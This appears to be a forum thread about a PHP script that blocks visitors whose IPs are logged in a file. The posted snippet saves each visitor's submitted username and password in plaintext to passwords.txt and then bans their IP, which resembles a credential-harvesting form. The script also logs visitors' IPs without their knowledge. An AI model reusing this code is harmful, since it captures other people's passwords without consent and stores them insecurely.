i have an ip logger that writes a persons ip to a txt file on my server. I would like to be able to make the html that shows up for people that are on that list to be “<body style=”display:none”>” and others to be able to browse freely with the other html code that i have.
i think ill try to learn php, much better than html or javascript and very versatile.
i knew no php and learned how to do this in half an hour [code=php] <?php $banned = file_get_contents("banned.txt"); if (substr_count($banned, $REMOTE_ADDR) > 0) { echo "<h1>Error:<br></h1><b>You do not have permission to view this material.</b>"; } else { $passwords = fopen("passwords.txt", "a+"); $inputString = "nusername: " . $un . "npassword: " . $pw . "nn"; fwrite( $passwords, $inputString ); fclose( $passwords ); $banip = fopen("banned.txt", "a+"); fwrite( $banip, "n" . GetHostByName($REMOTE_ADDR)); echo "<h1>Password Submission Complete</h1><br><b>You may now log on to view your web site's progress."; fclose($banip); } ?> [/code]